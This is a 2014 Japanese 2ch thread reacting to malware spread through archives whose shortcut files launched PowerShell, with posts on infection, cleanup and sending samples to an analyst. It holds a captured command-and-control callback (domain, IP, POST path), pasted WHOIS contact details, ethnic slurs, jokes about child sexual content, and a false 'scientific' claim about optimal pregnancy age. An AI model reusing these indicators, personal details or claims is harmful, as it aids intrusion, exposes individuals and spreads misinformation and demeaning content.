お前ら旧速から全く進歩してないな

バカッターでも広めてきたらよかったのに

いわゆるネット上の神は変な細工をしない
圧縮ファイルの中に画像なり動画のファイルが無い時点で即消し

rarを開いてファイルの中身の容量を確認して怪しかったらポイするのが鉄則だろ

>>536

送り直してあげてくれ
>>613

ウイルス配布は立派な犯罪なんで
ＪＩＭさんも警察にＩＰ提出してね

マックでもやばいの？
ウィルスソフト入ってないんだけど(´・ω・｀)

624 ：【中吉】：2014/05/01(木) 03:38:02.71 ID:BYCrw9WB0

よくわからんがどうでもいいや

とりあえずビクビクしてる暇あったら再インスコ

>>529
次の検索結果を表示しています: サキュバス関数
サキュラバス関数に一致する結果は見つかりませんでした

>>609
Windows Updateサービスが無効にされてたわ
ただ、自動開始にしたら普通に直ってくれる
http://up3.null-x.me/poverty/img/poverty158090.png

でも女性の妊娠最適期間が16～20歳なのは科学的事実だから
産婦人科医がガチで講演で言ってたから

>>604
これ対策でシングルクリックに変えた
ダブルクリックとか10年くらいやってない

ひっかかった奴書き込みすらできないで悲鳴をあげてんのかwざまぁ

>>464
せっかく送ったのにポストエラーなんだが？

戦争中に飛び道具ﾜﾛﾀ

メルカトル速報ｗ

>>628
社会的には全然適齢期じゃないじゃん

もう一台のPCで絶賛２ちゃん閲覧中だわこのやろう
Windows Updateどんだけあんだよ

>>631
>>613らしいぞ

637 ： ◆VEPEPqwQCu.U ：2014/05/01(木) 03:41:15.95 ID:6ZNmA8UV0

これは自己責任ですわ

exeファイルは実行する時にUAC発動するけどショートカットは無視するってことか
嫌な罠だな

ゆうちゃんの反乱が始まったか…

VMCのCircular Busって事だろ？
これはかなり手強いな
今嫌儲は色々敵に回してるから気をつけた方がいいよ

>>529
メルカトルかな？
もう俺はメルカトルには騙されない

ケンモメンならあの屈辱を忘れんじゃねえぞ

晩婚高齢出産が当たり前の国になっちゃったな

643 ：とあるエンジニア ◆axN5UIO01s ：2014/05/01(木) 03:42:26.66 ID:gmVsY3rf0

>>631
すまん
>>613で頼む

>>555
旧速と間違えたんだろ

とはいえzipといえばnewsってDNAレベルに叩きこまれてる奴多いだろうしなあ

西村ウィルスおそるべし

>>628
あ？ロリコンに喧嘩売ってんのか

アバスト入れてないのかよ

ID:gmVsY3rf0は復興ツールの作者だっけ？
SC一派の痕跡探してるんかな
嫌儲ハイテク捜査課に任命しよう

>>346
俺ららしくてワロタわ

>>529
サキュバスクエストは関係ありますか？

　　　　　　／" ￣￣￣ "＼
　　　　／　　　　　　　　　　＼
　　　／/　　　団　塊　嫌　儲＼
　　///　　　／＿＿＿""＿＼ヽ
　　i//　　　　／＿＿＿""＿＼ i
　　|/i　　　／　　　　　 l i l　　＼|
　　|/　　　　　　＿'"＼__／"'＿ゞ|　　何言ってんだこいつ
　ｒー、　　　　《 ●>　ハ < ●》 ,|
　|/＼　　　　　　_／　　　＼_　　/|
　.||　|　　　／　　l＿　　　　l＼ ||　　　　　　＼ゆとり多すぎだろ／
　し、　　　|　　　　￣＼__／　||.　　　　　＿＿＿＿＿＿＿＿＿＿＿＿＿＿_
　　　|　　　|　　　 ,――ｖ―, ||.　　　　　　|　|　　　　　　　　　　　　　　　　　　　　|
　　　.|　、　ヽ　　 "ニﾆニ"/| 　　　　　　|　|　　　　　　　　　　　　　　　　　　　　|
　　　　＼＼　　　＿＿＿／／.　　　　　　 |　|　　　　　　　　　　　　　　　　　　　　|
　　　　／＼＼　　　　　／／ jﾞ~~| 　　　　|　|　　　　　　　　　　　　　　　　　　　　|
＿＿／　　＼＿__＿_／＼　 |_＿|.　　　　|　|　　　　　　　　　　　　　　　　　　　　|
| |　/　　 ,　　　　　　　＼ｎ||　　　　　|　|　　　　　　　　　　　　　　　　　　　　|
| | /　　 /　　　　　　　　　r.　（こ）　　　　|　|　　　　　　　　　　　　　　　　　　　　|
| | |　⌒ ーnｎｎ　　　　|＼ (⊆ｿ　　　　|__|＿＿＿＿＿＿＿＿＿＿＿＿＿_|
￣＼＿_､("二）￣￣￣￣￣ｌ二二ｌ二二　　　　　　　　　＿|_|＿_|＿

落とさせるのが目的なら、パスはnewsだろうな
俺は、いつもpovertyでupしてるけど

＞　添付ファイルは10Mバイトまで

はぁぁぁぁぁ……うぜぇ…

知らずにｓｃに飛ばされるという噂が出た時から
セキュリティをMAXMAXにしとるから大丈夫や
もはやｓｃすら開かん

こんなデカい騒ぎになるなら検体保管しとくんだった
直感的にヤバいと思って先に前後のログチェックして手出ししなかったんだよな

いまどきzipでアップする奴なんて絶滅してるのによく疑いも無く落とすわ

>>623
マックはセフト

で踏んだらどんな結果が出るの？エロ流出でもするの？

>>654
容量食ってる画像ファイルはいらないんじゃね
～.dbってファイル

zipファイルは12.5Mだな

>>634
社会の方が生態に沿うべきだよね

>>654
諦めないでくれ
画像は消しても良いかと

ああ、今回はrarなのか

俺だったらdesktop.iniが見えた時点でポイーしてたな
解凍するだけでNGなウィルスとかあるん？

>>656
削除したファイルはRecuvaで復元できるかも

>>643
desktop.iniだけ送った

お前らが情弱過ぎて笑えてきたわ

>>663
必死ですなぁ
踏んでしまわれたんで？

どのIPアドレスで通信するのか教えてくさい

671 ：とあるエンジニア ◆axN5UIO01s ：2014/05/01(木) 03:48:05.95 ID:gmVsY3rf0

desktop.ini確認しました
rarのほうもお持ちの方が居たらお願いします

[email protected]

>>669
いえとくにー
スマホですしお寿司

誰だかわからないんだから、ウイルス送るなよwwww

>>666
いや、落としてすら居ないわ

西村くんの嫌がらせなの？それともロリコンに天罰が降った？

676 ：忍法帖【Lv=4,xxxP】(1+0：8) ：2014/05/01(木) 03:49:08.39 ID:LBMnktuo0

>>671
お疲れ様

炉利豚ざまぁｗｗｗｗｗ

>>673
それなりに嫌儲の祭りで活躍してるコテハンらしいぞ
割れコテかもしれないし、Twitterあたりで一言呟いてくれれば本人証明になるだろうけど

拾ったものは食うなっておかあちゃん教わったおれは情強
ママン、カーネーション送るよん(´ん｀)

ポリスにここにウィルス作ってまいとる奴おるでインターネッツエクスプローラーこわいわーって言っとけばええんか

>>555
エジプト軍の仕業かな
粉ふきいもではないと思うが

682 ：番組の途中ですがアドセンスクリックお願いします：2014/05/01(木) 03:50:38.61 ID:kbdvEaV20

大先生達楽しそうでいいなー

>>671
パスワードかけてどこかにアップしてくれ
説明書の末尾にパスワード書いておけば安全

>>658
セフトってセーフ？

何が起こってるか全然わからんが祭りの予感

んじゃ、俺にも検体提供頼む
各社に送っとくよ
suteadojpあっとgmail.com

踏んだ上にファイルも保管してなかった愚か者からの質問があるんだけど
クリーンインスコでなんとかなるのかこれ
クリーンインスコしてから
今のところリソースモニター、レジストリ周り、スタートアップ、temp
セキュリティ周りのサービスが無断で停止
とかの問題なくなってるぽいなとは思うんだけど

元スレ読むのに二時間
そのへんの映画より面白かった thx

ファラオの呪い

>>35
ショートカットってファイル名変えたりマクロみたいなことできるんか？
初めて知った

691 ：とあるエンジニア ◆axN5UIO01s ：2014/05/01(木) 03:52:15.67 ID:gmVsY3rf0

とあるエンジニア ◆axN5UIO01s @toaru_engineer
2chで怪しいファイルの提供を求めているのは私です。

http://twitter.com/toaru_engineer/status/461578628665315328

こういう児童ポルノを期待してDLした奴のHDDには本物の児童ポルノもあるだろうし
通報なんてしたら自分も捕まりそう

ノートン・パワー・イレイサーで余裕だろｗｗｗ

>>687
クリーンインスコしてダメってことはないだろ
ハードがぶっ壊れたわけじゃないんだから

>>684
　　　　　　　　　　 _____
　　　　　 ,. ‐''三ヾ´彡ｼ,=｀丶、
　　　　　／'".:=≡ミ_≧_尨彡三:ヽ、
　　　　/／.:;:彡:f'"´‐------ ｀`'ｒ=:l
　　　/〃彡_彡′,.=､￣￣ ,.=､　|ミ:〉
　　　'ｙ=､､:ｆ´===tr＝=､.___,. ==､._ゞ{　
　　　{´yﾍl'′　　 |　　 /⌒l′　 |｀Ｙ}
　　　ﾞ､ゝ) 　　　 `''''ﾂ_　 _;`ｰ‐'ﾞ:::::ｌ{
.　　　ヽ.__　　　　　,ｨnmmm､　　 .:::|!　
　　,.ィ'´ﾄ.´　　　　　´｀"｀"｀ﾞ″　.::::;'
イ´::ﾉ|::::l ＼　　　　　　"'　　　:::/　　
::::::::::::|:::::l 　ヽ、　　　　　..::　 .:::/.､
:::::: ::: |:::::ヽ　　ヽ、.......::::／..:::／!＼＼
::::::::::: |::::::::ヽ　　　｀`''‐--ｧt''′ |!:::ヽ:::＼
:::::::::::::|::::::::::::ヽ、　　　 /i|iﾄ､　 |l:::::::ヽ:::::＼　　
:::::::::::::|::::::::::::::/:ヽ、　　∧|i|i|i|〉. ||::::::::::ヽ:::::::＼

>>662
なら石器時代に帰らなきゃ

知人がウイルスでパソコンクラッシュしたと騒いでたがこれかな
ロリに釣られたとかキモイな

>>691
仕事募集しててワロタ

めっちゃ伸びててﾜﾛﾀ
さっき見た時は100足らずだったのに

ファイルなんで削除したの？
まさか生IPでアップロードしたのかな？

この懐かしい感じ大好き

ID:MVJERRI20
出てこいや

>>692
だからあのスレに上げたのかな？

遠隔されて別件逮捕っていう流れか

こういう雰囲気久しぶりだね

はよ送ってやれやww

>>678
なるほど
復興くんとか作ってくれてる人かな

おくったよ？
これで届かないっていうならマジで捨てアドサービスって糞だな…

>>687
他ドライブにウイルス混ざってるかも

>>684
トキノミノルだろ

元のスレひっかかったやつが泣いててワロタ

>>691
いつも律儀だな
とあるは見ていて面白い

>>671

ビビッてゴミ箱削除しちまったからなぁ・・・

西村ウィルスにウキウキ

犯人はケンモメンのパソコンに眠るお宝ファイルが欲しかったのか？

これ相当ヤバイウイルスだぞ

RORIでバギナ関数も弄られてるっぽい

>>691
アイコン不意打ちすぎんだろｗ

718 ：とあるエンジニア ◆axN5UIO01s ：2014/05/01(木) 03:56:05.31 ID:gmVsY3rf0

12.5MBのファイル確認しました
ご協力ありがとうございます

コテの方は一応信用できるみたいだけど無暗に検体ばら撒くなよ
メアドが他人の可能性も有るし危険だ

>>697
こんな夜中に連絡してきたのか？

>>691
どっかのアンチウィルスソフト会社の人かと思ってたらフリーひとだった

なんでここまでやって流出させないかなあ
散々人を弄んできた情強嫌儲民が攻められる側に回ったら面白いのに

関係無いけど@wikiのウイルス騒動はどうなったの

ファラコの呪いやな

ESETでフルスキャン完了　無検出
http://up3.null-x.me/poverty/img/poverty158106.png

問題はこれが本当に跡形もなく消えたのか検出できないだけで潜伏してるのかどうかだが

>>695,710
ぐぬぬ

ホントバカばっかだな
バカは蔑視対象って意味で

前のイカタコウィルスの製作者は逮捕されたよな
今回は小規模だけどどうなんだろうか？

予防策としてはpowershellを無効化すりゃいいんだな

嫌儲が楽しいのは東亜のもーち以来だ

>>718
ファイル提供とか出来なかったけどツイッター追うからｋｗｓｋ教えて欲しいな

このコテってVIPで使えねー投票ツールとか作ってた17とかそこらのただのガキだぞ
今までなんの役にも立ってねーよ
今回もプログラムの中身がみたいだけでそれ以上のことはできにいしないだろ

昔、感染者のデスクトップSSをひたすらUPし続けるウイルスなかったっけ
中継サイトもあって非感染者が実況も出来てたような

>>718
どういう展開になるかwktkしてるわ
報告よろ

>>725つーかスキャンしても意味無くね

VLCで動画のやつを開いただけで
ショートカットを触ってない俺はセーフか
命拾いしたわ、もうロリコンやめるわ

>>710
セフト産駒か

>>725
正直残ってるとしか思えん

クリッコしたときにexeなら実行しますか？て聞いてくるはずだけど
それもすっとばすの？

これってmx, ny, bittorrent, shareと一通り経験してきた世代なら踏まないよね
解凍したとしてもiniのソース読んで怪しい
んで、ショートカット踏まずに内容チェックでコマンド読んで
ゴミ箱にポイでしょ

20代がメインで踏んで後は各年齢層の馬鹿が踏んだ感じかな

本人っぽいな、落としてたら協力出来たんだが普通に乗り遅れた
まあ落としてたら余裕で踏んで協力どころじゃないだろうけど

>>732
17歳ってマジ？
まあでもコードモンキーも二十歳ぐらいだしあまり年齢は関係ない気がする

>>733
キンタマだろ

>>725
意味ないぞ

>>739
得体のしれないexeを実行しようとしたわけじゃなく
PowerShellっていうOS付属のソフトウェアだからね

>>739
クリッコしたら実行しますか？っていう人騙してすっとばす

>>728
規模が大きかろうが小さかろうが立派な犯罪だから捕まるんじゃね？
客観的に見て不特定多数が閲覧してる２chに投下してる時点で十分規模大きいと思う…

例のあいつか。

>>739
その通りでございます

>>743
山田じゃね？

>>694
普通そうだよな
ちょっと安心

パソコン蛾ぶっ壊れた

>>747
まだ害が無いから捕まらないよｗｗｗｗｗｗｗｗｗ
忘れたことに発動するぞｗｗｗｗｗｗｗ

エロでPCを知り
エロによって破壊される
エロは偉大なり

あんな怪しい物落とそうとするとは本当にロリコンエロだなお前ら

なんか面白そうなことになってた

>>725
極極一部のアンチウィルスソフトしか検出されないから有名どころだと対応してないんじゃね？

.lnkを解凍しない設定にしとけばいいのか

おれはＪＣのモザイク入った静止画像キャプも見てたが
たまたまリンク踏んでなかったっていうラッキーさ

>>750
どっちもだったような

西村ウイルス
ファラコの呪い

恐ろしいな
と思って元スレ見た
こんなん引っかかるわけないだろ

なんでフォルダ踏んで感染するんだよって思ったらショートカットなのか
眠いときだとうっかり踏みそうだな

ジャップだチョンだ言い合うより、こういう騒動の方が2ちゃんぽくて好きだわ

俺も>>529くらいレスがもらえるように頑張る

>>529
悪質レベルが予想以上で笑えないわ

なんだ西村が噛んでるのか
絶対に許すな

なんjゴリラ騒動、鯖落ち、そして今回のウイルス
ちょっと今日攻撃多くない？

>>760
デスクトップのSSうｐし続けるのは山田だったと思うけど

配布したやつもアホだなもっと人が少ない所で巻いた方が
バレるスピード遅かったろうに

ああ何もかもが懐かしい。あの頃に戻ったみたいだ

>>768
あめぞうの時と手口が似てる

ゆうちゃんかどうかは置いといて
いつもの遠隔操作犯の仕業っぽいな

>>769
キンタマもあげるんじゃなかったっけか？

ロリサキュバスにおちんちん弄ばれると聞いて

>>760
デスクトップのSSを上げ続けるのは山田
画像やテキストファイルを根こそぎ.rarにしてnyとかに流すのがキンタマ

って記憶

ゴリラ騒動って何？

かなりヤバイらしい・・・

http://fox.2ch.net/test/read.cgi/poverty/1398878589/529

検体乞食していいなら俺にも送ってくれ [email protected]

>>776
白鯛はキンタマ？

そういや10年も前なら2ｃｈはブラクラ、ウィルスのリンクばっかりだったんだよな
ネットに危険があるのって再確認させてもらったわ
リンクバンバン踏むのはほんと避けないとね

こういう騒ぎになるトコに投入したのは
元々長期潜伏させる気が無いんだと思う
実験的な行動なのか、そうでなければただの祭り好き

>>777
ゴリラ乱立

>>766
いや、>>529は冗談だよ

>>529
サキュラバス関数って何だよﾜﾛﾀｗ
どっかに通信してるとかダウンロードさせる二度手間でさらに足も付きやすくなるだろｗ

こういうの疑わず真に受けるやつが騙されるって感じ

詐欺にあったやつらはリスト化されてまた詐欺にあうって理屈は疑い深いケンモメンも当てはまるのな

パケットキャプチャしたログもらった
zosx.asia (89.248.172.104)
POST /alpha/order.php?id=7173553 HTTP/1.1\r\n
やべえドメイン死んでるだけで、鯖にまだ怪しげなもの置いてある…

>>760
勝手にhttp鯖立ててHDD全公開、キャプチャも公開するのは山田オルタナティブ(´・ω・)ｶﾜｲｿｽだったような
HDDの片隅に眠ってるわ

>>774
キンタマはファイル類をnyにうｐされる

踏み台にされて今頃どこかで犯罪予告してるころ

>>735,744
まぁVM上ならシステムが完全に破壊されても構わん、そのためのVMだし
けどVMwareの未知の脆弱性突くコードとか持ってたら間違いなく終わるわ

>>786
>>786

>>786

>>786

ワクチン作って配布したら謝礼のＷＭくらいは貰えそうだね

山田はresumeもできないクソ鯖だったな

元スレウィルスにビビってるやつと平常運行しているやつが混在しててワロタw

>>774
キンタマも上げるけど、中継サイトとかで随時アップするのは山田

>>770
どうせ人少ない所でも撒いてるんだろ

>>776
ああそうか
共有して流すんだったか思い出した
ありがとう

これ本番用に嫌儲で試してみてるってこと？

>>780
白鯛はキンタマなはず

ああ
中継あるの山田か

こりゃヤフートップありえるな

既定のプログラム変更して.linkクリックしたらメモ帳開くようにした
これで勝てる
あー…、普通のアプリケーションソフトが開けないようになってしまった

>>778
レス番まちがえてた・・・　　　m(__ __)m
http://fox.2ch.net/test/read.cgi/poverty/1398878589/474

これどうやら強制的にscに書き込ませようとしてるっぽいな
専ブラがおかしくなってる

>>793
P2Pやってたやつはこんなの日常茶飯事だし、ハズレか程度にしか思わんのだろうね

踏み台にされて2ch.net攻撃させられるんだろ？

久々にﾜﾛﾀ

こういう事が沢山あったのが昔の2ちゃんねるなんだよな

新参は過去の2ちゃんねるを知らないから困る

この一件が未曾有のサイバーテロを引き起こす引き金になろうとはこの時誰も知る由はなかった・・・

昔友人が言ってたっけ
エロがなければＰＣもネットも発展しなかったと
偉大だなすけべ心は

やっぱゆうちゃん許せねえな

ああ　あれが山田っていうのか
中継サイト覗いたら感染者がエロサイト開いててクッソ笑った記憶がある

お前らウイルス送信罪

>>529
これか書いた奴とウィルスばら撒いた奴って同一だろ？
メルカルト速報で釣ってる気がする

なんでもかんでもクリックしたらあかんで

>>480
カースオブホテプ

>>776で合ってると思う
キンタマはキャプチャ流されない

人が集まる板は様々な知識を持った人がいて楽しいわ

向こう見てるがケンモメン情弱多すぎだろ
怪しいファイルでもどうせ誰かが踏むんだし報告待つのは基本だろ

818 ：とあるエンジニア ◆axN5UIO01s ：2014/05/01(木) 04:14:42.53 ID:gmVsY3rf0

まずは駆除ツールを作るほうが優先かな？

今は山田みたいな感染者のSS除けるところないの？

スマホだからセーフ

Domain ID:D3014109-ASIA
Domain Name:ZOSX.ASIA
Domain Create Date:18-Mar-2014 01:43:05 UTC
Domain Expiration Date:18-Mar-2015 01:43:05 UTC
Domain Last Updated Date:18-Mar-2014 02:00:38 UTC
Last Transferred Date:
Created by:GMO Internet, Inc. d/b/a Discount-Domain.com and Onamae.com R39-ASIA (49)
Last Updated by Registrar:GMO Internet, Inc. d/b/a Discount-Domain.com and Onamae.com R39-ASIA (49)
Sponsoring Registrar:GMO Internet, Inc. d/b/a Discount-Domain.com and Onamae.com R39-ASIA (49)
Domain Status:TRANSFER PROHIBITED
Registrant ID:38FABA1A670336
Registrant Name:saki takada
Registrant Organization:saki takada
Registrant Address:Ginza5-4-9
Registrant Address2:
Registrant Address3:
Registrant City:Chuo-ku
Registrant State/Province:Tokyo
Registrant Country/Economy:JP
Registrant Postal Code:104-0061
Registrant Phone:+81.0354155544
Registrant Phone Ext.:
Registrant FAX:
Registrant FAX Ext.:
Registrant E-mail:[email protected]

なんJにあげてたらニュースになってたな
今のところ1つのスレに人が集まりやすいのはなんJだから

>>818
駆除ツール作ってから検体提供を求めたら？

今きたけどソースの２８７ファイル開くとどうなるの
あとwin8とMacだと大丈夫なの。

png画像にいろいろ細工してあって画像踏んだらアウト系じゃなくて
アーカイブ落として開いたら～ってことか
怪しいもん落とさなけりゃおkだな

>>818
かっこいい・・・

>>818
ｷﾀ━━━━（ﾟ∀ﾟ）━━━━!!!!
俺は内容待ち

>>808
本当にエロの原動力って凄いよな

>>793
日頃からこういうのを踏んでるやつは慣れてるからな
こういうイベントがあると住民を判別しやすいから助かる

>>802
何回転だよｗ

キンタマ系ウィルスに小学校の校長が引っかかって
校長のPC内に児ポファイルが有って祭りになったことあったなｗ

>>818
上であること無い事書かれてるがどこまで答えが合ってた？

この中でウィルスに引っ掛かった奴いるのか？
もう寝てるかな

とりあえず、何をするかも、どこに潜伏してるかもわからない
道のウィルスって事でいいの？

誰も対処方法を書かないのは
ファイル消すだけじゃ直せないものだからってことでいいんですか？

結構深刻な症状であんまりﾜﾗえないなあ･･･
自業自得とは言えるけど

>>801
ショートカットが使えなくなるってキツイなｗ

Ｐ2Ｐやってた奴はある程度危機察知能力が鍛えられてるのか

それにしても、Winnyなんぞが流行ってた時って今から考えたら異常な時代だったな
まとめサイトにＸＰにWinny　色んな物が悪く組み合わさって最悪の被害を産んだんじゃないか

>>824
>>825

解凍してでてきたショートカットをクリックしなければ大丈夫

今回は回避したからといって安心してはいけない
今後もこんな悪質な攻撃があるかもしれない（中身見てないけど）

で、こういうウイルスが書き込まれた場合って、誰にどのように通報すればいいの？

ウィルス駆除とかつまらんことするなよ
メシウマ出来ないだろ

おっそろしいなあ

>>802
さっきは区別がどうとか読まされてカチンときたわ

なるほど、ヤバイこれはヤバイこれから本番の予感

>>831それお咎め無しだった気がする

エロとか関係なく信頼出来ないファイルを脊髄反射で開くなって話や

>>833
起きてる
設定戻すまではねれんわ

>>831
GPの由来のやつか

今更ながら元スレ見たらパスもろ書きだったんだね
その昔、半角でパスもろ書きは信用するなとファイルソムリエのおじちゃんに
教えてもらったのを思い出したわ

ウイルス作成罪ってあったよね

ショートカットなんか自分で作ったもの以外即消しだけどな

>>821の続き
Administrative同上
Technical ID:1755825A7A9A4
Technical Name:Taro Warita
Technical Organization:GMO Internet Inc.
Technical Address:26-1 Sakuragaoka-cho
Technical Address2:Cerulean Tower 11F
Technical Address3:
Technical City:Shibuya-ku
Technical State/Province:Tokyo
Technical Country/Economy:JP
Technical Postal Code:150-8512
Technical Phone:+81.0354562555
Technical Phone Ext.:
Technical FAX:+81.0354562556
Technical FAX Ext.:
Technical E-mail:[email protected]

>>840そりゃサイバーポリス()だろ

>>846
検体提供ってどうやるのか知ってる？
できるならエンジニアに提供してよ

山田ウィルス感染者実況スレを思い出した
みんなで感染者にウィルス感染してるよってメッセージ送ってあげる心温まるスレだったな

どのみち生IPでうｐなんてありえんしtorかませば逮捕無理だろ

ついにここまでやるようになったか西村

>>854
メッセンジャー会話画面なんかで巻き添えで晒しあげ喰らった人が気の毒だったわ

>>852
ハイパーポリス？

>>856
まさか、もう　西村博之　が　ウイルス作成罪　なのを覚悟しておいて　嫌儲　で　感染　させる　サイバーテロ　をしかけてたなんて噂が広まってるんじゃないだろうな？

>>853
やっちまった段階で削除した
クリーンインスコ後もデータ拾えるのかわからんってのと
windows.oldも残っててほしくないんで消した
.oldは復元できるかもしれんが
正直やりたくないわ

>>859
まじなの？

>>855
ＴＯＲかまして書き込みってできなかったんじゃないの？

>>860
エンジニアには提供済みみたいやぞ

>>859
これマジ？

>>859
これまじ？
http://fox.2ch.net/test/read.cgi/poverty/1398876571/859

>>859

>>859
マジ？

西村ウイルス怖い

>>855
torでここに書き込めるの？
まあ生IPで書き込んでるとは思えないけど

嫌儲に今後、新たにウイルスや鯖落ち等の対策スレを立てる必要があるかもね

>>859

>>860
これでとあるエンジニアがワクチン作ったら嫌儲発偉大なエンジニアの誕生だな

ゆうちゃんのようにネットカフェからの書き込みはあるかもね
もしくは既に誰かのPCを遠隔操作して・・・

>>870
なお京都府警

うｐしたやつってタラコの手下なの？

拡張子がjpegだったら余裕で踏んじゃうんだけど、もうjpegも踏むのやめたほうが良さそうだな
拡張子も偽装できるって聞くし

これsc陣営が仕込んだんじゃね？

>>872
どういうこと？？とあるエンジニアは京都府警ってこと？

あんな典型的なレスでよくファイル落とす気になるよな
お前らエロスレでは画像のURLだけチェックしとけばええってもんやないんやで（被害者は語る

>>868
とりあえず斧の管理人、Jim辺りにはちゃんと通報しておいた方がいい
何かリアルウィルス感染してるくさいから俺はもう寝る

>>870
嫌儲の顧問SEだな
実態は爺にパソコンを教えるボランティアだけど

遠隔操作事件の奴は代理書き込み依頼スレに書いてたらしいからそっちならtor通せるんじゃね

>>740
>これってmx, ny, bittorrent, shareと一通り経験してきた世代なら踏まないよね
>解凍したとしてもiniのソース読んで怪しい
>んで、ショートカット踏まずに内容チェックでコマンド読んで
>ゴミ箱にポイでしょ
>
>20代がメインで踏んで後は各年齢層の馬鹿が踏んだ感じかな

そもそも画像ファイルにiniなとあるわけが無い

情弱は大変だなぁ

ウイルス散布はタラコの手口

>>871
そういうのホント怖いわ
遠隔操作された場合って、された側が遠隔操作されてることを知る方法あるの？

>>876
お前ほとんどの書込が疑問形だな

>>874
拡張子偽装とか怖すぎワロタ
開く前にウイルススキャンしても引っかからなかったらヤバイな

とりあえずJaneなら
ツール→設定→機能→コマンド
コマンド名は適当でいい　aguse　とでも付けとけ
実行するコマンドの欄に　http://www.aguse.jp/?m=w&url=$TEXT$LINK　
追加押して完了
リンク踏む前に右クリで追加したコマンド実行するだけ

西村　キンタマ　ウイルス

>>874
ビュワーで開いたら問題ないんじゃね
と思ったけどPNGの脆弱性とか前騒いでたな

西村　キンタマ　ウイルス　インキンタマムシ

インターネッツはこわい所でつね

西村ウイルスってなんかアクション俳優みたい

>>835
>>802を見れば消すだけじゃ駆除不可と分かる

>>885
情弱だからな
で、京都府警ってどういうことなの？

>>893
つまりこのスレの>>529だが、それはメルカトル
真実も含まれてるかもしれないが

ロリコンオッサンが勃起しながらウイルス喰らっててんやわんやか

こんなん怪しいの落とすような奴はまとめに帰れよ

馬鹿日本男ｗｗｗ
ジャップの雄猿頭悪いなぁ

サキュラバス関数ｗｗｗｗｗｗｗｗｗｗｗｗｗ

とりあえずひろゆきのせいにしよう

アンチウィルスソフトインスコ段階で無理だった
対策パッチまじで頼む

大騒ぎになっててワロタ
踏んだ奴らどんな層だよ

ふたばやVIPだったらあの流れは自然だけど
今時嫌儲でわざわざうpろだにrarやzipファイル上げるような気前のいいやつっていないだろ
元スレ居たけど聡明な判断ができてよかった(震え声)

びびってるやつはOS再インスコせい

zosx.asiaってホスト見つからないけど
hostsも書き換えられてんのかね

>>884
遠隔操作で有名な某事件調べたけど何人か冤罪で一時的に捕まった人いたみたいだな
多分冤罪で捕まった人は遠隔操作されてる事にすら気付けて無かった可能性高そう
冤罪でも一度容疑が掛かって捕まれば問答無用で仕事クビ・家庭崩壊する確率激高だから本当に凄まじい事になる
決して他人事では済まされないよな

けんもうはなんJの植民地だから

西村博之(ひろゆき)の海外資金洗浄に関わる内縁女性植木由佳が掘られる★129
http://fox.2ch.net/test/read.cgi/poverty/1398867904/l50

いわゆる西村博之系の本スレだけど
無意味な一行コメが多くないか？
なんていうか話をはぐらかそうとしている意図さえ感じられる

関係ないけどハローワークに繋がらないな

アメンホテプの呪いかよ

>>908
メーデーですから

http://websitemap.sakura.ne.jp/history/1999.html#9910xx1

■あめぞうウイルス、猛威を振るう(1999.10.xx?～)
　あめぞうウイルスとは、『あめぞう』を荒らすために作られたスタイルシート。この荒らしの結果、あめぞう住人の『２ちゃんねる』移住が加速する。

そして終わりは唐突に訪れます１９９９年１０月下旬（ぐらいだったと思う、記憶曖昧；、裏が取れたら加筆するかも）あめぞうに激震が走ります、一部の掲示板であめぞうウイルスという名のスレッドが増殖をはじめたのです。

実は自分はその瞬間をリアルタイムで見ていたのですが、まさに圧巻な光景でした、どんどん「あめぞうウイルス」という題名のスレッドが増殖していくのです、
僅かに生き残っているスレッドではスキルの高い利用者がこの異常事態をどのように打開するか激しく議論していました。

自分は別にあめざー（当時あめぞうをこよなく愛する人たちをこう読んだのです、ちなみに２ｃｈを愛する人たちは２ちゃんねらーというらしいですが言いづらいのかあまり流行りませんでしたね）ではなかったので
傍観者でしたが掲示板とはかくも脆いものかと思いました。

なんたってあめぞうですよあ・め・ぞ・うですよ、当時のあめぞうといったらネットの大御所で、スラム街、はきだめ、たんつぼ、基地外収容所、隔離病棟、便所のらくがき、
ネット墓場と呼ばれ（え、呼ばれてないって（＾＾；）あめざーは凶暴かつ凶悪でリンクされた掲示板をぺんぺん草も残らぬほど完璧に駆逐し、無くなってもミラーを立ち上げ、骨までしゃぶり尽すといった外道ぶり。
そのあめぞうが手も足もでません（管理人が何もしないのだから当然；）、僅か数時間、、、一晩のうちにネット史上最悪の外道掲示板は消滅しました、壊れゆくあめぞうを目に人々は一体何を感じたのでしょうか？

一つの歴史の終焉でした・・・・。
早わかりアニメ掲示板の歴史中編（アニメ∞座談会）

>>899
そんな技術あると思えないけどとりあえずたらこの所為だな

>>859
こマ？
ホテプキンこわい。。。

>>900いたよ、おっさんかな？普段ダウンロードとかしない人？
マジレスしてやるけど大事なファイルバックアップしてOS再インストールするのが確実だよ

ケンモメンが情弱とバレてしまったか

十数年前に自己解凍形式のアイコンしたファイ実行してシステムぶっ壊してからは踏んでない

ウイルスだろうがエロだととりあえず踏む
いつまでもそんな男でありたい

>>902
一応、拡張子をflvに変えれば見れる動画は入ってたよ

踏んですらないんだけど、システムの復元とかしても意味ないの？

最近２や３に無言で画像貼ってる変な奴のせいで
ろだをNG入れたり画像のリンクも切って助かってる奴もいそう

ざまぁ
ロリに興味無くて良かったわ

>>917
気概だけはかっこいいけど
友達の個人情報も流れる可能性あるからやめとけ

>>919
システムの復元系は真っ先に消すと思う
というかあれが役に立った記憶が無い

なんか>>6とか>>904が見えねー

市況板とかにも貼られたんだな
本スレにいたら様子見て流れでヤバいってわかるけれど市況の奴らだったら引っ掛かってそうだな

カスペのVirus Removal Tool辺りした後、Windows Repairやっとけ

ウィルスもむこうの2ｃｈに転載されてんの？

西ファラロリっ子ウィルス

ホテプ菌ｗｗｗ

ｸｿﾜﾛﾀｗｗｗｗｗｗｗ

883 名前:番組の途中ですがアフィサイトへの転載は禁止です :2014/05/01(木) 04:37:16.56 ID:kukuxDPxi
全くのPC初心者なのでパソコンに接続されてるケーブル
やらマウスやら全部引っこ抜いて、PCを買った時に貰ったケースの中に入れた
マジで何したらいいかわからんwとりあえずこれ山田電気で買ったから明日山田電気に行って相談してくる。
あたふたしてたらいつの間にこんな時間だよ畜生。287覚悟しとけよ

UACも動かなかったらしいし、virustotalの結果見るとカスペ含め殆どのウィルス対策ソフトすり抜けてるのが怖いな
カスペ入れてUACを最高に設定して管理者権限でログインしなきゃ大丈夫だろって甘く考えてたわ

ショートカットアイコンはやたら危ないってのは初めて知ったわ

>>911
http://tiyu.to/1ch_08.html
謝罪文
皆様へ
２００１年１０月２日　　　
あめぞう　　　
